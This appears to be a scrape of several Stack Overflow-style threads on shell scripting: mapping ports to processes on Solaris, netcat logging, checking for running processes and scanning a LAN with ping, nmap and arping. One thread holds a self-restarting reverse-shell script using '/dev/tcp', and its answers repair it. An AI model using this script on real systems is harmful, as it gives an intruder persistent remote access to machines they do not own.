I am trying to get processes attached with a port 7085 on SunOS. i tried following commands.
netstat -ntlp | grep 7085 didn't return anything
netstat -anop | grep 7085 tried this one also. This switches are not valid in SunOs
I am getting the following output.
#netstat -anop
netstat: illegal option -- o
usage: netstat [-anv] [-f address_family]
netstat [-n] [-f address_family] [-P protocol] [-g | -p | -s [interval [count]]]
netstat -m [-v] [interval [count]]
netstat -i [-I interface] [-an] [-f address_family] [interval [count]]
netstat -r [-anv] [-f address_family|filter]
netstat -M [-ns] [-f address_family]
netstat -D [-I interface] [-f address_family]
The version of SunOS is SunOS 5.10. I believe netstat is the only command can do this.
What is the exact switches for netstat which will give me the process id attached with port?
pfiles /proc/* 2>/dev/null | nawk '
/^[0-9]*:/ { pid=$0 }
/port: 7085$/ { printf("%s %s\n",pid,$0);}'
pfiles /proc/* is retrieving all processes file descriptors details
2>/dev/null is dropping out errors due to transient processes died in the meantime
each line starting with a number followed by a colon reports the process id and details, it is stored in the awk pid variable
when a line ends with the string port: <portnumber> (here is 7085), the corresponding pid variable is displayed.
Note: you need the required privilege(s) to get port information from processes you do not own (root has all privileges).
Have a look on lsof http://linux.about.com/library/cmd/blcmdl8_lsof.htm command.
This command describes which processes are using which file descriptors. Remember that anything on port 7085 will have its own file descriptor which you can use to trace back to the process using it.
I would try something like:
$ lsof -i :7085
Hope it can help.
I got his script from HERE . Log into solaris system. Open vi editor. Go into insert mode. Copy and paste this script. save the file and give the name PCP. Give execute permission. Run this script with -p or -P swithc. It will give an output with the PID, PROCESS Name and Port.
Make sure you need to be in ksh shell to execute it.
PCP is a script that enables administrators to see what open TCP ports are in use on a Solaris system. It maps ports to PIDs and vice versa. It accepts wildcards and will also show at a glance all open ports and their corresponding
PIDs. It is nice script gives a very fine out put. Just try it.
Example:
#pcp -p PORT_NUMBER or #pcp -P PROCESS_ID
#!/usr/bin/ksh
#
# # PCP (PID con Port)
# v1.10 08/10/2010 Sam Nelson sam # unix.ms
#
# If you have a Solaris 8, 9 or 10 box and you can't
# install lsof, try this. It maps PIDS to ports and vice versa.
# It also shows you which peers are connected on which port.
# Wildcards are accepted for -p and -P options.
#
# Many thanks Daniel Trinkle trinkle # cs.purdue.edu
# for the help, much appreciated.
#
i=0
while getopts :p:P:a opt
do
case "${opt}" in
p ) port="${OPTARG}";i=3;;
P ) pid="${OPTARG}";i=3;;
a ) all=all;i=2;;
esac
done
if [ $OPTIND != $i ]
then
echo >&2 "usage: $0 [-p PORT] [-P PID] [-a] (Wildcards OK) "
exit 1
fi
shift `expr $OPTIND - 1`
if [ "$port" ]
then
# Enter the port number, get the PID
#
port=${OPTARG}
echo "PID\tProcess Name and Port"
echo "_________________________________________________________"
for proc in `ptree -a | awk '/ptree/ {next} {print $1};'`
do
result=`pfiles $proc 2> /dev/null| egrep "port: $port$"`
if [ ! -z "$result" ]
then
program=`ps -fo comm= -p $proc`
echo "$proc\t$program\t$port\n$result"
echo "_________________________________________________________"
fi
done
elif [ "$pid" ]
then
# Enter the PID, get the port
#
pid=$OPTARG
# Print out the information
echo "PID\tProcess Name and Port"
echo "_________________________________________________________"
for proc in `ptree -a | awk '/ptree/ {next} $1 ~ /^'"$pid"'$/ {print $1};'`
do
result=`pfiles $proc 2> /dev/null| egrep port:`
if [ ! -z "$result" ]
then
program=`ps -fo comm= -p $proc`
echo "$proc\t$program\n$result"
echo "_________________________________________________________"
fi
done
elif [ $all ]
then
# Show all PIDs, Ports and Peers
#
echo "PID\tProcess Name and Port"
echo "_________________________________________________________"
for proc in `ptree -a | sort -n | awk '/ptree/ {next} {print $1};'`
do
out=`pfiles $proc 2>/dev/null| egrep "port:"`
if [ ! -z "$out" ]
then
name=`ps -fo comm= -p $proc`
echo "$proc\t$name\n$out"
echo "_________________________________________________________"
fi
done
fi
exit 0
Related
Is there a way to grep the IP address of the inbound connection and disconnect after a timeout?
If I do
nc -vv -l -p <portnum>
it's connected forever.
$nc -h
[v1.10]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-4 Use IPv4 (default)
-6 Use IPv6
-c shell commands as -e; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-A algorithm cast256, mars, saferp, twofish, or rijndael
-k password AES encrypt and ascii armor session
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
I'm trying but I get no result.
My netcat is dated. The nc version number is 1.10
EDIT
#VictorLee gives me some alternatives. I made a thing.
Here there's a little server script that listen and logs every new different access.
If someone want to use or modify I put the code below
#!/bin/bash
unset PIDTMP; rm -rf tmplog.log 2>/dev/null
while true; do
if [[ "$PIDTMP" == "" ]]; then
nc -vv -l -p <YOURPORT> > tmplog.log 2>&1 & PIDTMP=$!;
fi
if [[ "$PIDTMP" != "" ]]; then
if [[ -f tmplog.log ]]; then
thisip="$(cat -v tmplog.log 2> /dev/null | tr -d '\0' | grep -aiv "failed" | grep -ioE -m2 "\\[([0-9]{1,3}\.){3}[0-9]{1,3}\\]" | tail -1 | sed 's/^.\(.*\).$/\1/')" 2> /dev/null
#uncomment if u want output to screen
#if [[ "$thisip" != "" ]]; then cat tmplog.log 2> /dev/null; fi;
fi
if [[ "$thisip" != "" ]]; then
kill $PIDTMP 2>/dev/null
wait $PIDTMP 2>/dev/null; unset PIDTMP;
if [[ "$(grep -rnw log.log -e "$thisip" 2> /dev/null)" == "" ]]; then
echo "$thisip" >> log.log
fi
unset thisip
fi
fi
sleep 2
done
Try this:
nc -vv -l -p <portnum> >>/tmp/nc.log 2>&1 & sleep <timeout>;kill -9 $!
If you want to get the only connection ip, could run this grep -oP "(?<=Connection from \[)[\w\.]*(?=])" /tmp/nc.log, the one line is:
nc -vv -l -p <portnum> >>/tmp/nc.log 2>&1 & sleep <timeout>;kill -9 $!;grep -oP "(?<=Connection from \[)[\w\.]*(?=])" /tmp/nc.log
First collect the nc log to nc.log and force kill the nc progress until the time out, then get the connection ip by grep.
So, I'm trying to write a bash script to phone home with a reverse shell to a certain IP using bash if the program isn't already running. It's supposed to check every 20 seconds to see if the process is alive, and if it isn't, it'll execute the shell. However, I get the error ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected When I attempt to execute my program. This is because I'm using -eq in my if statement. When I replace -eq with =, the program compiles, but it evaluates to 0 no matter what.
What am I doing wrong? My code is below.
#!/bin/bash
#A small program designed to establish and keep a reverse shell open
IP="" #Insert your IP here
PORT="" #Insert the Port you're listening on here.
while(true); do
if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
then
echo "Process not found, launching reverse shell to $IP on port $PORT"
bash -i >& /dev/tcp/$IP/$PORT 0>&1
sleep 20
else
echo "Process found, sleeping for 20 seconds..."
ps -ef | grep "bash -i" | grep -v "grep" | wc -l
sleep 20
fi
done
There is a small change required in your code.
You have to use tilt "`" instead of single quotes "''" inside if.
if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l` -eq 0 ]
This worked for me. Hope it helps you too.
Besides the typo mentioned in the comments it should be:
if ! pgrep -f 'bash -i' > /dev/null ; then
echo "process not found"
else
echo "process found"
fi
Since pgrep emits a trueish exit status if at least 1 process was found and a falseish exit status if no process was found, you can use it directly in the if condition. [ (which is a command) is not required.
PS: Just realized that this has also been mentioned in comments an hour ago. Will keep it, because it is imo a good practice.
There are a list of hosts and port in a text file in the below format
host1 10000
host2 20000
I want to parallely execute nc to check the port connectivity.
I tried the following command
cat host-port.txt | xargs -n 1 -I ^ -P 5 nc -w 1 -zv ^ |& grep -v succeeded`
but the nc command fails with the help message as below
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-P proxy_username] [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol]
[-x proxy_address[:port]] [hostname] [port[s]]`
If I copy the string from the file and execute it, it works fine. Not sure what happens when xargs extracts the line ("host port") and pass it to nc
Give a try to this:
cat hosts.txt| xargs -n 2 sh -c 'nc -w 1 -zv $1 $2' argv0
of this script
#!/bin/bash
input=hosts.txt
while IFS=' ' read -r host port
do
echo ${host} ${port}
# nc -w 1 -zv ${host} ${port}
done < "$input"
Just replace the line echo ${host} ${port} with your nc options
I need a platform independent (Linux/Unix|OSX) shell/bash command that will determine if a specific process is running. e.g. mysqld, httpd...
What is the simplest way/command to do this?
While pidof and pgrep are great tools for determining what's running, they are both, unfortunately, unavailable on some operating systems. A definite fail safe would be to use the following: ps cax | grep command
The output on Gentoo Linux:
14484 ? S 0:00 apache2
14667 ? S 0:00 apache2
19620 ? Sl 0:00 apache2
21132 ? Ss 0:04 apache2
The output on OS X:
42582 ?? Z 0:00.00 (smbclient)
46529 ?? Z 0:00.00 (smbclient)
46539 ?? Z 0:00.00 (smbclient)
46547 ?? Z 0:00.00 (smbclient)
46586 ?? Z 0:00.00 (smbclient)
46594 ?? Z 0:00.00 (smbclient)
On both Linux and OS X, grep returns an exit code so it's easy to check if the process was found or not:
#!/bin/bash
ps cax | grep httpd > /dev/null
if [ $? -eq 0 ]; then
echo "Process is running."
else
echo "Process is not running."
fi
Furthermore, if you would like the list of PIDs, you could easily grep for those as well:
ps cax | grep httpd | grep -o '^[ ]*[0-9]*'
Whose output is the same on Linux and OS X:
3519 3521 3523 3524
The output of the following is an empty string, making this approach safe for processes that are not running: echo ps cax | grep aasdfasdf | grep -o '^[ ]*[0-9]*'
This approach is suitable for writing a simple empty string test, then even iterating through the discovered PIDs.
#!/bin/bash
PROCESS=$1
PIDS=`ps cax | grep $PROCESS | grep -o '^[ ]*[0-9]*'`
if [ -z "$PIDS" ]; then
echo "Process not running." 1>&2
exit 1
else
for PID in $PIDS; do
echo $PID
done
fi
You can test it by saving it to a file (named "running") with execute permissions (chmod +x running) and executing it with a parameter: ./running "httpd"
#!/bin/bash
ps cax | grep httpd
if [ $? -eq 0 ]; then
echo "Process is running."
else
echo "Process is not running."
fi
WARNING!!!
Please keep in mind that you're simply parsing the output of ps ax which means that, as seen in the Linux output, it is not simply matching on processes, but also the arguments passed to that program. I highly recommend being as specific as possible when using this method (e.g. ./running "mysql" will also match 'mysqld' processes). I highly recommend using which to check against a full path where possible.
References:
http://linux.about.com/od/commands/l/blcmdl1_ps.htm
http://linux.about.com/od/commands/l/blcmdl1_grep.htm
You SHOULD know the PID !
Finding a process by trying to do some kind of pattern recognition on the process arguments (like pgrep "mysqld") is a strategy that is doomed to fail sooner or later. What if you have two mysqld running? Forget that approach. You MAY get it right temporarily and it MAY work for a year or two but then something happens that you haven't thought about.
Only the process id (pid) is truly unique.
Always store the pid when you launch something in the background. In Bash this can be done with the $! Bash variable. You will save yourself SO much trouble by doing so.
How to determine if process is running (by pid)
So now the question becomes how to know if a pid is running.
Simply do:
ps -o pid= -p <pid>
This is POSIX and hence portable. It will return the pid itself if the process is running or return nothing if the process is not running. Strictly speaking the command will return a single column, the pid, but since we've given that an empty title header (the stuff immediately preceding the equals sign) and this is the only column requested then the ps command will not use header at all. Which is what we want because it makes parsing easier.
This will work on Linux, BSD, Solaris, etc.
Another strategy would be to test on the exit value from the above ps command. It should be zero if the process is running and non-zero if it isn't. The POSIX spec says that ps must exit >0 if an error has occurred but it is unclear to me what constitutes 'an error'. Therefore I'm not personally using that strategy although I'm pretty sure it will work as well on all Unix/Linux platforms.
On most Linux distributions, you can use pidof(8).
It will print the process ids of all running instances of specified processes, or nothing if there are no instances running.
For instance, on my system (I have four instances of bashand one instance of remmina running):
$ pidof bash remmina
6148 6147 6144 5603 21598
On other Unices, pgrep or a combination of ps and grep will achieve the same thing, as others have rightfully pointed out.
This should work on most flavours of Unix, BSD and Linux:
PATH=/usr/ucb:${PATH} ps aux | grep httpd | grep -v grep
Tested on:
SunOS 5.10 [Hence the PATH=...]
Linux 2.6.32 (CentOS)
Linux 3.0.0 (Ubuntu)
Darwin 11.2.0
FreeBSD 9.0-STABLE
Red Hat Enterprise Linux ES release 4
Red Hat Enterprise Linux Server release 5
The simpliest way is to use ps and grep:
command="httpd"
running=`ps ax | grep -v grep | grep $command | wc -l`
if [ running -gt 0 ]; then
echo "Command is running"
else
echo "Command is not running"
fi
If your command has some command arguments, then you can also put more 'grep cmd_arg1' after 'grep $command' to filter out other possible processes that you are not interested in.
Example: show me if any java process with supplied argument:
-Djava.util.logging.config.file=logging.properties
is running
ps ax | grep -v grep | grep java | grep java.util.logging.config.file=logging.properties | wc -l
Putting the various suggestions together, the cleanest version I was able to come up with (without unreliable grep which triggers parts of words) is:
kill -0 $(pidof mysql) 2> /dev/null || echo "Mysql ain't runnin' message/actions"
kill -0 doesn't kill the process but checks if it exists and then returns true, if you don't have pidof on your system, store the pid when you launch the process:
$ mysql &
$ echo $! > pid_stored
then in the script:
kill -0 $(cat pid_stored) 2> /dev/null || echo "Mysql ain't runnin' message/actions"
Just a minor addition: if you add the -c flag to ps, you don't need to remove the line containing the grep process with grep -v afterwards. I.e.
ps acux | grep cron
is all the typing you'll need on a bsd-ish system (this includes MacOSX) You can leave the -u away if you need less information.
On a system where the genetics of the native ps command point back to SysV, you'd use
ps -e |grep cron
or
ps -el |grep cron
for a listing containing more than just pid and process name. Of course you could select the specific fields to print out using the -o <field,field,...> option.
I use pgrep -l httpd but not sure it is present on any platform...
Who can confirm on OSX?
This approach can be used in case commands 'ps', 'pidof' and rest are not available.
I personally use procfs very frequently in my tools/scripts/programs.
egrep -m1 "mysqld$|httpd$" /proc/[0-9]*/status | cut -d'/' -f3
Little explanation what is going on:
-m1 - stop process on first match
"mysqld$|httpd$" - grep will match lines which ended on mysqld OR httpd
/proc/[0-9]* - bash will match line which started with any number
cut - just split the output by delimiter '/' and extract field 3
You should know the PID of your process.
When you launch it, its PID will be recorded in the $! variable. Save this PID into a file.
Then you will need to check if this PID corresponds to a running process. Here's a complete skeleton script:
FILE="/tmp/myapp.pid"
if [ -f $FILE ];
then
PID=$(cat $FILE)
else
PID=1
fi
ps -o pid= -p $PID
if [ $? -eq 0 ]; then
echo "Process already running."
else
echo "Starting process."
run_my_app &
echo $! > $FILE
fi
Based on the answer of peterh. The trick for knowing if a given PID is running is in the ps -o pid= -p $PID instruction.
None of the answers worked for me, so heres mine:
process="$(pidof YOURPROCESSHERE|tr -d '\n')"
if [[ -z "${process// }" ]]; then
echo "Process is not running."
else
echo "Process is running."
fi
Explanation:
|tr -d '\n'
This removes the carriage return created by the terminal. The rest can be explained by this post.
This prints the number of processes whose basename is "chromium-browser":
ps -e -o args= | awk 'BEGIN{c=0}{
if(!match($1,/^\[.*\]$/)){sub(".*/","",$1)} # Do not strip process names enclosed by square brackets.
if($1==cmd){c++}
}END{print c}' cmd="chromium-browser"
If this prints "0", the process is not running. The command assumes process path does not contain breaking space. I have not tested this with suspended processes or zombie processes.
Tested using gwak as the awk alternative in Linux.
Here is a more versatile solution with some example usage:
#!/bin/sh
isProcessRunning() {
if [ "${1-}" = "-q" ]; then
local quiet=1;
shift
else
local quiet=0;
fi
ps -e -o pid,args= | awk 'BEGIN{status=1}{
name=$2
if(name !~ /^\[.*\]$/){sub(".*/","",name)} # strip dirname, if process name is not enclosed by square brackets.
if(name==cmd){status=0; if(q){exit}else{print $0}}
}END{exit status}' cmd="$1" q=$quiet
}
process='chromium-browser'
printf "Process \"${process}\" is "
if isProcessRunning -q "$process"
then printf "running.\n"
else printf "not running.\n"; fi
printf "Listing of matching processes (PID and process name with command line arguments):\n"
isProcessRunning "$process"
Here is my version. Features:
checks for exact program name (first argument of the function). search for "mysql" will not match running "mysqld"
searches program arguments (second argument of the function)
script:
#!/bin/bash
# $1 - cmd
# $2 - args
# return: 0 - no error, running; 1 - error, not running
function isRunning() {
for i in $(pidof $1); do
cat /proc/$i/cmdline | tr '\000' ' ' | grep -F -e "$2" 1>&2> /dev/null
if [ $? -eq 0 ]; then
return 0
fi
done
return 1
}
isRunning java "-Djava.util.logging.config.file=logging.properties"
if [ $? -ne 0 ]; then
echo "not running, starting..."
fi
[ $pid ] && [ -d /proc/$pid ] && command if you know the pid
The following shell function, being only based on POSIX standard commands and options should work on most (if not any) Unix and linux system. :
isPidRunning() {
cmd=`
PATH=\`getconf PATH\` export PATH
ps -e -o pid= -o comm= |
awk '$2 ~ "^.*/'"$1"'$" || $2 ~ "^'"$1"'$" {print $1,$2}'
`
[ -n "$cmd" ] &&
printf "%s is running\n%s\n\n" "$1" "$cmd" ||
printf "%s is not running\n\n" $1
[ -n "$cmd" ]
}
$ isPidRunning httpd
httpd is running
586 /usr/apache/bin/httpd
588 /usr/apache/bin/httpd
$ isPidRunning ksh
ksh is running
5230 ksh
$ isPidRunning bash
bash is not running
Note that it will choke when passed the dubious "0]" command name and will also fail to identify processes having an embedded space in their names.
Note too that the most upvoted and accepted solution demands non portable ps options and gratuitously uses a shell that is, despite its popularity, not guaranteed to be present on every Unix/Linux machine (bash)
How can I write a Linux Bash script that tells me which computers are ON in my LAN?
It would help if I could give it a range of IP addresses as input.
I would suggest using nmap's ping-scan flag,
$ nmap -sn 192.168.1.60-70
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2009-04-09 20:13 BST
Host machine1.home (192.168.1.64) appears to be up.
Host machine2.home (192.168.1.65) appears to be up.
Nmap finished: 11 IP addresses (2 hosts up) scanned in 0.235 seconds
That said, if you want to write it yourself (which is fair enough), this is how I would do it:
for ip in 192.168.1.{1..10}; do ping -c 1 -t 1 $ip > /dev/null && echo "${ip} is up"; done
..and an explanation of each bit of the above command:
Generating list of IP addresses
You can use the {1..10} syntax to generate a list of numbers, for example..
$ echo {1..10}
1 2 3 4 5 6 7 8 9 10
(it's also useful for things like mkdir {dir1,dir2}/{sub1,sub2} - which makes dir1 and dir2, each containing sub1 and sub2)
So, to generate a list of IP's, we'd do something like
$ echo 192.168.1.{1..10}
192.168.1.1 192.168.1.2 [...] 192.168.1.10
Loops
To loop over something in bash, you use for:
$ for thingy in 1 2 3; do echo $thingy; done
1
2
3
Pinging
Next, to ping.. The ping command varies a bit with different operating-systems, different distributions/versions (I'm using OS X currently)
By default (again, on the OS X version of ping) it will ping until interrupted, which isn't going to work for this, so ping -c 1 will only try sending one packet, which should be enough to determine if a machine is up.
Another problem is the timeout value, which seems to be 11 seconds on this version of ping.. It's changed using the -t flag. One second should be enough to see if a machine on the local network is alive or not.
So, the ping command we'll use is..
$ ping -c 1 -t 1 192.168.1.1
PING 192.168.1.1 (192.168.1.1): 56 data bytes
--- 192.168.1.1 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
Checking ping result
Next, we need to know if the machine replied or not..
We can use the && operator to run a command if the first succeeds, for example:
$ echo && echo "It works"
It works
$ nonexistantcommand && echo "This should not echo"
-bash: nonexistantcommand: command not found
Good, so we can do..
ping -c 1 -t 1 192.168.1.1 && echo "192.168.1.1 is up!"
The other way would be to use the exit code from ping.. The ping command will exit with exit-code 0 (success) if it worked, and a non-zero code if it failed. In bash you get the last commands exit code with the variable $?
So, to check if the command worked, we'd do..
ping -c 1 -t 1 192.168.1.1;
if [ $? -eq 0 ]; then
echo "192.168.1.1 is up";
else
echo "ip is down";
fi
Hiding ping output
Last thing, we don't need to see the ping output, so we can redirect stdout to /dev/null with the > redirection, for example:
$ ping -c 1 -t 1 192.168.1.1 > /dev/null && echo "IP is up"
IP is up
And to redirect stderr (to discard the ping: sendto: Host is down messages), you use 2> - for example:
$ errorcausingcommand
-bash: errorcausingcommand: command not found
$ errorcausingcommand 2> /dev/null
$
The script
So, to combine all that..
for ip in 192.168.1.{1..10}; do # for loop and the {} operator
ping -c 1 -t 1 192.168.1.1 > /dev/null 2> /dev/null # ping and discard output
if [ $? -eq 0 ]; then # check the exit code
echo "${ip} is up" # display the output
# you could send this to a log file by using the >>pinglog.txt redirect
else
echo "${ip} is down"
fi
done
Or, using the && method, in a one-liner:
for ip in 192.168.1.{1..10}; do ping -c 1 -t 1 $ip > /dev/null && echo "${ip} is up"; done
Problem
It's slow.. Each ping command takes about 1 second (since we set the -t timeout flag to 1 second). It can only run one ping command at a time.. The obvious way around this is to use threads, so you can run concurrent commands, but that's beyond what you should use bash for..
"Python threads - a first example" explains how to use the Python threading module to write a multi-threaded ping'er.. Although at that point, I would once again suggest using nmap -sn..
In the real world, you could use nmap to get what you want.
nmap -sn 10.1.1.1-255
This will ping all the addresses in the range 10.1.1.1 to 10.1.1.255 and let you know which ones answer.
Of course, if you in fact want to do this as a bash exercise, you could run ping for each address and parse the output, but that's a whole other story.
Assuming my network is 10.10.0.0/24, if i run a ping on the broadcast address like
ping -b 10.10.0.255
I'll get an answer from all computers on this network that did not block their ICMP ping port.
64 bytes from 10.10.0.6: icmp_seq=1 ttl=64 time=0.000 ms
64 bytes from 10.10.0.12: icmp_seq=1 ttl=64 time=0.000 ms
64 bytes from 10.10.0.71: icmp_seq=1 ttl=255 time=0.000 ms
So you just have to extract the 4th column, with awk for example:
ping -b 10.10.0.255 | grep 'bytes from' | awk '{ print $4 }'
10.10.0.12:
10.10.0.6:
10.10.0.71:
10.10.0.95:
Well, you will get duplicate, and you may need to remove the ':'.
EDIT from comments :
the -c option limits the number of pings
since the script will end, we can also limit ourself on unique IPs
ping -c 5 -b 10.10.0.255 | grep 'bytes from' | awk '{ print $4 }' | sort | uniq
There is also fping:
fping -g 192.168.1.0/24
or:
fping -g 192.168.1.0 192.168.1.255
or show only hosts that are alive:
fping -ag 192.168.1.0/24
It pings hosts in parallel so the scan is very fast. I don't know a distribution which includes fping in its default installation but in most distributions you can get it through the package manager.
Also using the "ping the broadcast address" method pointed out by chburd, this pipe should do the trick for you:
ping -c 5 -b 10.11.255.255 | sed -n 's/.* \([0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+\).*/\1/p' | sort | uniq
Of course, you'd have to change the broadcast address to that of your network.
Just for fun, here's an alternate
#!/bin/bash
nmap -sP 192.168.1.0/24 > /dev/null 2>&1 && arp -an | grep -v incomplete | awk '{print$2}' | sed -e s,\(,, | sed -e s,\),,
If you're limiting yourself to only having the last octet changing, this script should do it. It should be fairly obvious how to extend it from one to multiple octets.
#! /bin/bash
BASE=$1
START=$2
END=$3
counter=$START
while [ $counter -le $END ]
do
ip=$BASE.$counter
if ping -qc 2 $ip
then
echo "$ip responds"
fi
counter=$(( $counter + 1 ))
done
ip neighbor
arp -a
Arpwatch
As other posters pointed out, nmap is the way to go, but here's how to do the equivalent of a ping scan in bash. I wouldn't use the broadcast ping, as a lot of systems are configured not to respond to broadcast ICMP nowadays.
for i in $(seq 1 254); do
host="192.168.100.$i"
ping -c 1 -W 1 $host &> /dev/null
echo -n "Host $host is "
test $? -eq 0 && echo "up" || echo "down"
done
#!/bin/bash
#Get the ip address for the range
ip=$(/sbin/ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}' | cut -d"." -f1,2,3)
# ping test and list the hosts and echo the info
for range in $ip ; do [ $? -eq 0 ] && ping -c 1 -w 1 $range > /dev/null 2> /dev/null && echo "Node $range is up"
done
Although an old question, it still seems to be important (at least important enough for me to deal with this). My script relies on nmap too, so nothing special here except that ou can define which interface you want to scan and the IP Range is created automagically (at least kind of).
This is what I came up with
#!/bin/bash
#Script for scanning the (local) network for other computers
command -v nmap >/dev/null 2>&1 || { echo "I require nmap but it's not installed. Aborting." >&2; exit 1; }
if [ -n ""$#"" ]; then
ip=$(/sbin/ifconfig $1 | grep 'inet ' | awk '{ print $2}' | cut -d"." -f1,2,3 )
nmap -sP $ip.1-255
else
echo -e "\nThis is a script for scanning the (local) network for other computers.\n"
echo "Enter Interface as parameter like this:"
echo -e "\t./scannetwork.sh $(ifconfig -lu | awk '{print $2}')\n"
echo "Possible interfaces which are up are: "
for i in $(ifconfig -lu)
do
echo -e "\033[32m \t $i \033[39;49m"
done
echo "Interfaces which could be used but are down at the moment: "
for i in $(ifconfig -ld)
do
echo -e "\033[31m \t $i \033[39;49m"
done
echo
fi
One remark: This script is created on OSX, so there might be some changes to linux environments.
If you want to provide a list of hosts it can be done with nmap, grep and awk.
Install nmap:
$ sudo apt-get install nmap
Create file hostcheck.sh like this:
hostcheck.sh
#!/bin/bash
nmap -sP -iL hostlist -oG pingscan > /dev/null
grep Up pingscan | awk '{print $2}' > uplist
grep Down pingscan | awk '{print $2}' > downlist
-sP: Ping Scan - go no further than determining if host is online
-iL : Input from list of hosts/networks
-oG : Output scan results in Grepable format, to the given filename.
/dev/null : Discards output
Change the access permission:
$ chmod 775 hostcheck.sh
Create file hostlist with the list of hosts to be checked (hostname or IP):
hostlist (Example)
192.168.1.1-5
192.168.1.101
192.168.1.123
192.168.1.1-5 is a range of IPs
Run the script:
./hostcheck.sh hostfile
Will be generated files pingscan with all the information, uplist with the hosts online (Up) and downlist with the hosts offline (Down).
uplist (Example)
192.168.1.1
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.101
downlist (Example)
192.168.1.5
192.168.1.123
Some machines don't answer pings (e.g. firewalls).
If you only want the local network you can use this command:
(for n in $(seq 1 254);do sudo arping -c1 10.0.0.$n & done ; wait) | grep reply | grep --color -E '([0-9]+\.){3}[0-9]+'
Explanations part !
arping is a command that sends ARP requests. It is present on most of linux.
Example:
sudo arping -c1 10.0.0.14
the sudo is not necessary if you are root ofc.
10.0.0.14 : the ip you want to test
-c1 : send only one request.
&: the 'I-don't-want-to-wait' character
This is a really useful character that give you the possibility to launch a command in a sub-process without waiting him to finish (like a thread)
the for loop is here to arping all 255 ip addresses. It uses the seq command to list all numbers.
wait: after we launched our requests we want to see if there are some replies. To do so we just put wait after the loop.
wait looks like the function join() in other languages.
(): parenthesis are here to interpret all outputs as text so we can give it to grep
grep: we only want to see replies. the second grep is just here to highlight IPs.
hth
Edit 20150417: Maxi Update !
The bad part of my solution is that it print all results at the end. It is because grep have a big enough buffer to put some lines inside.
the solution is to add --line-buffered to the first grep.
like so:
(for n in $(seq 1 254);do sudo arping -c1 10.0.0.$n & done ; wait) | grep --line-buffered reply | grep --color -E '([0-9]+\.){3}[0-9]+'
#!/bin/bash
for ((n=0 ; n < 30 ; n+=1))
do
ip=10.1.1.$n
if ping -c 1 -w 1 $ip > /dev/null 2> /dev/null >> /etc/logping.txt; then
echo "${ip} is up" # output up
# sintax >> /etc/logping.txt log with .txt format
else
echo "${ip} is down" # output down
fi
done
The following (evil) code runs more than TWICE as fast as the nmap method
for i in {1..254} ;do (ping 192.168.1.$i -c 1 -w 5 >/dev/null && echo "192.168.1.$i" &) ;done
takes around 10 seconds, where the standard nmap
nmap -sP 192.168.1.1-254
takes 25 seconds...
Well, this is part of a script of mine.
ship.sh 🚢 A simple, handy network addressing 🔎 multitool with plenty of features 🌊
Pings network, displays online hosts on that network with their local IP and MAC address
It doesn't require any edit. Needs root permission to run.
GOOGLE_DNS="8.8.8.8"
ONLINE_INTERFACE=$(ip route get "${GOOGLE_DNS}" | awk -F 'dev ' 'NR == 1 {split($2, a, " "); print a[1]}')
NETWORK_IP=$(ip route | awk "/${ONLINE_INTERFACE}/ && /src/ {print \$1}" | cut --fields=1 --delimiter="/")
NETWORK_IP_CIDR=$(ip route | awk "/${ONLINE_INTERFACE}/ && /src/ {print \$1}")
FILTERED_IP=$(echo "${NETWORK_IP}" | awk 'BEGIN{FS=OFS="."} NF--')
ip -statistics neighbour flush all &>/dev/null
echo -ne "Pinging ${NETWORK_IP_CIDR}, please wait ..."
for HOST in {1..254}; do
ping "${FILTERED_IP}.${HOST}" -c 1 -w 10 &>/dev/null &
done
for JOB in $(jobs -p); do wait "${JOB}"; done
ip neighbour | \
awk 'tolower($0) ~ /reachable|stale|delay|probe/{printf ("%5s\t%s\n", $1, $5)}' | \
sort --version-sort --unique